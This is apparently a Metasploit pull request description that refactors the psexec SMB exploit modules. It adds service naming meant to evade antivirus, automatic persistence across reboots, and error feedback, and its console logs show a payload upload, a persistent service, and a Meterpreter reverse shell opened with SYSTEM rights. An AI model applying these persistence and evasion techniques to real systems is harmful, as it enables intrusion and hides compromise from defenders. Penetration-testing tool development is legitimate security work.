Psexec Refactor Round 2

ding ding. 

# Verification
- [x] exploit/windows/smb/psexec still works as intended
- [x] exploit/windows/smb/psexec allows service name, description and display name to be set
- [x] exploit/windows/smb/psexec will persist if SERVICE_PERSIST == true
- [x] psexec will start but not delete existing services if SERVICE_NAME matches
- [x] psexec will give more feedback when errors occur (e.g. AV)
- [x] exploit/windows/smb/psexec_psh still works as intended
- [x] auxiliary/admin/smb/psexec_command still works as intended
- [x] auxiliary/admin/smb/psexec_ntdsgrab still works as intended
- [x] auxiliary/scanner/smb/psexec_loggedin_users still works as intended

# Features
* Don't rescue Exception!
* Move DCERPC call definitions to a seperate class, much neater, constants, comments etc. Based on excellent work by @jtesta in https://github.com/rapid7/metasploit-framework/pull/2001. The PSexec mixin is much more related to the WinAPI service calls than the packets required now.
* Most DCERPC calls return the Windows Error Code indicating success or failure, by returning these to the user there is much more chance of a user working out what has gone wrong and why.
* Allow Auto Persist, dont clean up the service and set it to Auto start. (Do we want to configure the 'Recovery' options as well?)
* Prettify, set Service name, description and display name to avoid AV and make it harder for people to identify the service.

## Auto Persist
Why beat around the bush, get PSEXEC to create a persistent service for you on reboots:
```
[*] Started reverse handler on 192.168.1.100:4444 
[*] Connecting to the server...
[*] Authenticating to 192.168.1.23:445 as user 'administrator'...
[*] Uploading payload...
[*] Created \lFCsYhXj.exe...
[*] 192.168.1.23:445 - Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.23[\svcctl] ...
[*] 192.168.1.23:445 - Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.23[\svcctl] ...
[*] 192.168.1.23:445 - Obtaining a service manager handle...
[*] 192.168.1.23:445 - Creating the service...
[+] 192.168.1.23:445 - Successfully created the service
[*] 192.168.1.23:445 - Changing service description...
[*] 192.168.1.23:445 - Starting the service...
[+] 192.168.1.23:445 - Service started successfully...
[!] 192.168.1.23:445 - Not removing service for persistance...
[*] 192.168.1.23:445 - Closing service handle...
[*] Sending stage (769536 bytes) to 192.168.1.23
[*] Meterpreter session 6 opened (192.168.1.100:4444 -> 192.168.1.23:49160) at 2014-04-05 18:48:48 +0100

meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.23 - Meterpreter session 6 closed.  Reason: User exit
msf exploit(psexec) > previous
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.1.100:4444 
[*] Starting the payload handler...
[*] Sending stage (769536 bytes) to 192.168.1.23
[*] Meterpreter session 7 opened (192.168.1.100:4444 -> 192.168.1.23:49156) at 2014-04-05 18:50:11 +0100

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

## Make your services pretty, oh so pretty
![service](https://cloud.githubusercontent.com/assets/1854557/2623396/fdf2bcc4-bceb-11e3-842a-9065e133b9be.PNG)

## Get feedback when AV strikes
```
msf exploit(psexec) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.100:4444 
[*] Connecting to the server...
[*] Authenticating to 192.168.1.23:445 as user 'administrator'...
[*] Uploading payload...
[*] Created \jMjirAnD.exe...
[-] 192.168.1.23:445 - Unable to create service, ACCESS_DENIED, did AV gobble your binary?
```